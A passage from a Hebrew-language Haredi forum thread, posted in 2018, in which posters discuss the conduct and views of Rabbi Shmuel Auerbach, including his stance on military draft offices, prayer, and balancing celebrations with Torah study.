כל מה שאפשר לטעון נגדו הוא מדוע חשב שזה כל כך חשוב. אולי חשד מאד מאד באנשי לשכת הגיוס שהם טומנים פח לצעירים תמימים. אולי, או קרוב לוודאי, נתן מעט מאד אמון ביכולתו של צעיר חרדי לעמוד מול פיתויים גשמיים.

אני מקוה שהצלחתי לשרטט מה שהיה עשוי להיות שיקול דעתו.

וכיון שהחולים באמבולנסים הם משלמי המחיר, חש חיוב להתפלל עבורם. ובעיניו, תפילה היא השתדלות לא פחות מאשר פניה לרופא.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2018 12:58 לינק ישיר 

ספרן

איקון ירוק

אני מתבונן בכמה מהציטוטים שהבאת.

היה מתרעם מאוד על כך שבחזרת הש"ץ או בקריאת התורה תלמידים מתעסקים בדברים אחרים או לומדים. קרה שהיה מגיע וסוגר את הספר בחזקה. זה לא נבע מחרדה לקיום ההלכה של שמיעת חזרת הש"ץ או קריאת התורה, אלא מהתפיסה שכעת עוסקים בחזרת הש"ץ או בקריאת התורה, ומה פתאום ללמוד עכשיו?

תמהני. גם על הסגירה בכוח. מי מינה אותו לסגור ספרים לאחרים? ושמא מפני שהיו תלמידיו וחייבים בכבודו והוא חייב בחינוכם? וכן מסתבר.

ועדיין תמה אני לגבי התפיסה הנוקשה הזו של "חזרת הש"ץ" ו"עסוקים בחזרת הש"ץ". או אפילו בקריאת התורה. גם על כך שאדם אמור להיות מלא בעיסוק הציבורי שאמנם הוא מצוה מדרבנן. וגם על כך שעיסוק זה מפקיע כל דבר אחר.



כשראית אותו בקיום המצוות הבנת אל נכון את המושג של 'העוסק במצוה פטור מן המצוה', כל כולו נמצא בתוך המצוה. הוא הולך מחיל אל חיל. מדלג על ההרים מקפץ על הגבעות. עמוס במצוות כל המעת לעת. אבל אין כלאחר יד. הוא 'טובל ויוצא'.

תמיד הפעים אותנו ההשתתפות האדירה שלו בשמחות ובאבל. הוא לא היה מסוגל לקיים 'יוצא זיין'. ראית איך שהוא שרוי בעולם של שמחה כעת, וכן להיפך. לכן קשה היה להתייעץ אתו במצבים כאלו. היה נוהג להאריך שהות בשמחות של תלמידים. זו לא שמחה של תלמיד או מקורב. זוהי שמחה שלו. מחותן לא מגיע לזמן קצר. לבעיה של ביטול תורה מצא את הפתרונות של הכתיבה ובשלב מאוחר יותר – הגמרא או המשניות.

מה פירוש המשפט האחרון? האם בזמן שמחה של תלמיד היה משתתף אבל כותב? משתתף אבל לומד בעפ גמרא או משנה?

יש כאן ענין עקרוני שמאד קשה לי לתפוס. וכי באמת אדם, ובמיוחד אינטלקטואל ואיש המעלה, כל כולו שקוע בשמחה נניח של חופה, עד שדעתו אינה פנויה לעסוק בלימוד?

אני מזכיר דוגמא מופתית של הרב גניחובסקי, שהיה מהרהר בלימוד אם לא דיבר בלימוד בכל זמן, גם בשמחות נישואין. וכן ראיתי בעיני נוהגים גדולי תורה, וכן יכול להעיד כל מי שנמצא בחתונות כאלו, ששיחתם של ת"ח היא בתורה גם בזמן השמחה. וזה לצד זה, השמחה והתורה.

וכיון שאתה מכיר את השימוש הכפול בזמן, האם לא תניח לזה גם בחזרת הש"ץ, עשר דקות ארוכות המתבזבזות לדעתי על תקנה שבדרך כלל היא לא הכרחית והרמב"ם ביטל אותה? טוב, כתבתי את דעתי המאד אישית ומאד יוצאת דופן.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2018 13:02 לינק ישיר 

מיימוני
באמת, כל הספורים על שעת שמד שלא הייתה כמותה ומימות משה לא היו גזרות כאלה הן בדיחה במקרה הטוב.



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > הרב שמואל אויירבך ע"ה
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 5 6 7 8 לדף הבא סך הכל 8 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.